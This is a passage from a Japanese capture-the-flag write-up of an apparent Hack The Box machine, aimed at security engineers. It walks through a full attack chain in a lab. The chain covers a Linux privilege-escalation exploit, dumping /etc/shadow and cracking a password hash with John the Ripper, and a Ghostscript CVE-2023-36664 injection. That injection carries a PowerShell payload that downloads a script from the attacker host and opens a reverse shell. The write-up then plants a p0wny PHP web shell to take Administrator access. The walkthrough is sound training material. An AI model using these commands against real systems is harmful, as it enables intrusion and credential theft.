go: downloading github.com/josharian/native v0.0.0-20200817173448-b6b71def0850
go: downloading github.com/mdlayher/socket v0.0.0-20211102153432-57e3fa563ecb
go: downloading golang.org/x/net v0.0.0-20211209124913-491a49abca63
gcc -Wall -Wextra -Werror -std=c99 -Os -g0 -D_GNU_SOURCE -D_DEFAULT_SOURCE -D_POSIX_C_SOURCE=200809L src/wrapper.c -o wrapper
zip lpe.zip exploit wrapper
  adding: exploit (deflated 42%)
  adding: wrapper (deflated 83%)
  ```
  ファイルをターゲットに転送して実行します。
  ![11.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/0cbf195e-bf29-c6ce-21f8-b74e210a2458.png)
Rootまで取れましたが、何もない???

# クレデンシャルアクセス
## John The Ripper
とりあえずRootで見えるようになった`/etc/shadows`を確認します。
```bash
root@webserver:/tmp# cat /etc/shadows
cat: /etc/shadows: No such file or directory
root@webserver:/tmp# cat /etc/shadow 
root:$y$j9T$s/Aqv48x449udndpLC6eC.$WUkrXgkW46N4xdpnhMoax7US.JgyJSeobZ1dzDs..dD:19612:0:99999:7:::
daemon:*:19462:0:99999:7:::
bin:*:19462:0:99999:7:::
sys:*:19462:0:99999:7:::
sync:*:19462:0:99999:7:::
games:*:19462:0:99999:7:::
man:*:19462:0:99999:7:::
lp:*:19462:0:99999:7:::
mail:*:19462:0:99999:7:::
news:*:19462:0:99999:7:::
uucp:*:19462:0:99999:7:::
proxy:*:19462:0:99999:7:::
www-data:*:19462:0:99999:7:::
backup:*:19462:0:99999:7:::
list:*:19462:0:99999:7:::
irc:*:19462:0:99999:7:::
_apt:*:19462:0:99999:7:::
nobody:*:19462:0:99999:7:::
systemd-network:!*:19462::::::
systemd-timesync:!*:19462::::::
messagebus:!:19462::::::
systemd-resolve:!*:19462::::::
pollinate:!:19462::::::
sshd:!:19462::::::
syslog:!:19462::::::
uuidd:!:19462::::::
tcpdump:!:19462::::::
tss:!:19462::::::
landscape:!:19462::::::
fwupd-refresh:!:19462::::::
drwilliams:$6$uWBSeTcoXXTBRkiL$S9ipksJfiZuO4bFI6I9w/iItu5.Ohoz3dABeF6QWumGBspUW378P1tlwak7NqzouoRTbrz6Ag0qcyGQxW192y/:19612:0:99999:7:::
lxd:!:19612::::::
mysql:!:19620::::::
root@webserver:/tmp# 
```
`drwilliams`のクレデンシャルが見えるので此奴のハッシュを解析します。
```bash
┌──(root㉿kali)-[~/work]
└─# john --wordlist=rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE2 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
qwe123!@#        (drwilliams)     
1g 0:00:01:14 DONE (2023-11-20 09:10) 0.01335g/s 2860p/s 2860c/s 2860C/s raycharles..pucci
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
```
パスワード復元が出来たのでこれでSSHアクセスして....だめでしたね。
なら初手で見つけたPort80のWebサービスにログインしてみよう。

# 横展開
## Webmail
さっき解析出来たパスポートをPort80のサービスのログイン情報として横展開をします。
すると、Webmailサービスにログインできます。
![12.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/a29b8c87-e8f5-7958-da86-f4d4be0efba5.png)
バージョン情報はこんな感じ。
![13.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/628f1212-5df7-39a8-c665-a7226f1bb594.png)
メールを探っていると、以下のメッセージを見つけることが出来た。
![14.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/818be32b-cb68-e0c9-af40-d5bd801f2505.png)
よくわからないのでDeepLに食わせる。
![15.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/873a71ac-6972-cbed-101e-122eea4abd45.png)
Ghostscriptかー、情報収集します。
## Ghostscript
Ghostscriptの情報を探っていると以下のリポジトリを発見します。

https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection

落としてきます。
```bash
┌──(root㉿kali)-[~/work]
└─# git  clone https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection
Cloning into 'CVE-2023-36664-Ghostscript-command-injection'...
remote: Enumerating objects: 34, done.
remote: Counting objects: 100% (34/34), done.
remote: Compressing objects: 100% (32/32), done.
remote: Total 34 (delta 15), reused 5 (delta 1), pack-reused 0
Receiving objects: 100% (34/34), 71.69 KiB | 1.41 MiB/s, done.
Resolving deltas: 100% (15/15), done.
```
ほう？ベクタ画像にコマンドを埋め込めるみたいですね。
この画像をメールに添付して送る感じかな？？
宛先は？？
![16.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/2505038e-0cca-c0ae-73e2-6c594e79baf8.png)
Drbrownさんがいるみたいだね。ここに送ってみたいと思います。
## Reverse Shell
送信画面でDrbrownさんを指定し、添付画像を埋め込みます。
添付する画像は以下のように1ライナーのコマンドを組み上げて埋め込みます。`Invoke-PowerShellTcp`を利用すれば軽く書けます。
```python
python3 CVE_2023_36664_exploit.py --inject --payload "powershell -c \"IEX(New-Object System.Net.WebClient).DownloadString('http://10.10.14.48/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.48 -Port 1234\"" --filename file.eps
```
添付します。
![18.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/a13c9ae9-6046-2488-3bc8-00db0902cbb0.png)
送信すると`Invoke-PowerShellTcp`を取ってくるGET通信が観測できます。
![19.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/5d8bca5a-9d77-15d7-cc02-0d5da217a99b.png)
待ち受けの`nc`を見に行きます。
![20.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/c077c8ee-642d-d94d-29a8-d42b3796d085.png)
RevShellをゲットできました。
これでUser権限をゲットです！！！

# 権限昇格
## winPeas
さて、一度のBOXで二度も笑顔を拝めるとは思っていませんでした。

https://github.com/carlospolop/PEASS-ng/releases

転送します。
```powershell
Invoke-WebRequest -Uri http://10.10.14.48/winPEASany.exe -outfile C:\Users\drbrown.HOSPITAL\Desktop\winPEASany.exe
```
回します。
```powershell
PS C:\Users\drbrown.HOSPITAL\Desktop> .\winPEASany.exe
.\winPEASany.exe
ANSI color bit for Windows is not set. If you are executing this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
     
               ((((((((((((((((((((((((((((((((
        (((((((((((((((((((((((((((((((((((((((((((
      ((((((((((((((**********/##########(((((((((((((   
    ((((((((((((********************/#######(((((((((((
    ((((((((******************/@@@@@/****######((((((((((
    ((((((********************@@@@@@@@@@/***,####((((((((((
    (((((********************/@@@@@%@@@@/********##(((((((((
    (((############*********/%@@@@@@@@@/************((((((((
    ((##################(/******/@@@@@/***************((((((
    ((#########################(/**********************(((((
    ((##############################(/*****************(((((
    ((###################################(/************(((((
    ((#######################################(*********(((((
    ((#######(,.***.,(###################(..***.*******(((((
    ((#######*(#####((##################((######/(*****(((((
    ((###################(/***********(##############()(((((
    (((#####################/*******(################)((((((
    ((((############################################)((((((
    (((((##########################################)(((((((
    ((((((########################################)(((((((
    ((((((((####################################)((((((((
    (((((((((#################################)(((((((((
        ((((((((((##########################)(((((((((
              ((((((((((((((((((((((((((((((((((((((
                 ((((((((((((((((((((((((((((((

ADVISORY: winpeas should be used for authorized penetration testing and/or educational purposes only.Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own devices and/or with the device owner's permission.

  WinPEAS-ng by @hacktricks_live

       /---------------------------------------------------------------------------------\
       |                             Do you like PEASS?                                  |
       |---------------------------------------------------------------------------------| 
       |         Get the latest version    :     https://github.com/sponsors/carlospolop |
       |         Follow on Twitter         :     @hacktricks_live                        |
       |         Respect on HTB            :     SirBroccoli                             |
       |---------------------------------------------------------------------------------|
       |                                 Thank you!                                      |
       \---------------------------------------------------------------------------------/

  [+] Legend:
         Red                Indicates a special privilege over an object or something is misconfigured
         Green              Indicates that some protection is enabled or something is well configured
         Cyan               Indicates active users
         Blue               Indicates disabled users
         LightYellow        Indicates links

 You can find a Windows local PE Checklist here: https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation
   Creating Dynamic lists, this could take a while, please wait...
   - Loading sensitive_files yaml definitions file...
   - Loading regexes yaml definitions file...
   - Checking if domain...
   - Getting Win32_UserAccount info...
Error while getting Win32_UserAccount info: System.Management.ManagementException: Access denied 
   at System.Management.ThreadDispatch.Start()
   at System.Management.ManagementScope.Initialize()
   at System.Management.ManagementObjectSearcher.Initialize()
   at System.Management.ManagementObjectSearcher.Get()
   at winPEAS.Checks.Checks.CreateDynamicLists(Boolean isFileSearchEnabled)
   - Creating current user groups list...
   - Creating active users list (local only)...
  [X] Exception: Object reference not set to an instance of an object.
   - Creating disabled users list...
  [X] Exception: Object reference not set to an instance of an object.
   - Admin users list...
  [X] Exception: Object reference not set to an instance of an object.
   - Creating AppLocker bypass list...
   - Creating files/directories list for search...


                                   ͹ System Information                                      

          ͹ Basic System Information
  Check if the Windows versions is vulnerable to some known exploit https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#kernel-exploits
  [X] Exception: Access is denied

          ͹ Showing All Microsoft Updates
  [X] Exception: Creating an instance of the COM component with CLSID {B699E5E8-67FF-4177-88B0-3684A3388BFB} from the IClassFactory failed due to the following error: 80070005 Access is denied. (Exception from HRESULT: 0x80070005 (E_ACCESSDENIED)).

          ͹ System Last Shutdown Date/time (from Registry)

...省略
```
![21.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/7b0dfdee-441a-964a-49dd-8755cefc9ace.png)
協調表示されてますが、`xampp`階層に書き込めそうです。
これを見つけたら大体RevShellを叩き込む人が多いと思います。
例にもれず叩き込みます。
一応権限を手動でも確認しておきます。
```powershell
PS C:\xampp\htdocs> Get-Acl
Get-Acl


    Directory: C:\xampp


Path   Owner                  Access                                                                                   
----   -----                  ------                                                                                   
htdocs BUILTIN\Administrators NT AUTHORITY\LOCAL SERVICE Allow  FullControl...                                         


PS C:\xampp\htdocs>
```
いけそうですね。
## p0wny
最初に使ったこの最強のWebShellを流用します。
転送を実施。
```powershell
Invoke-WebRequest -Uri http://10.10.14.48/shell.phar -outfile C:\xampp\htdocs\shell.php
```
アクセスします。
![22.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/e2f795e4-a3dd-0730-9449-9401e9726a35.png)
いけました！！！
特権昇格完了！

# まとめ
![23.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/9aca88c6-3c00-34f7-3a3f-af110d1dfd55.png)
これで特権昇格に成功し、Administrator権限を奪取できました。
WebShellで`p0wny`というものがあるとは知らなかったのでためになりました。
これは便利。

今回もセキュリティエンジニアの皆さんの助けになればなと思います。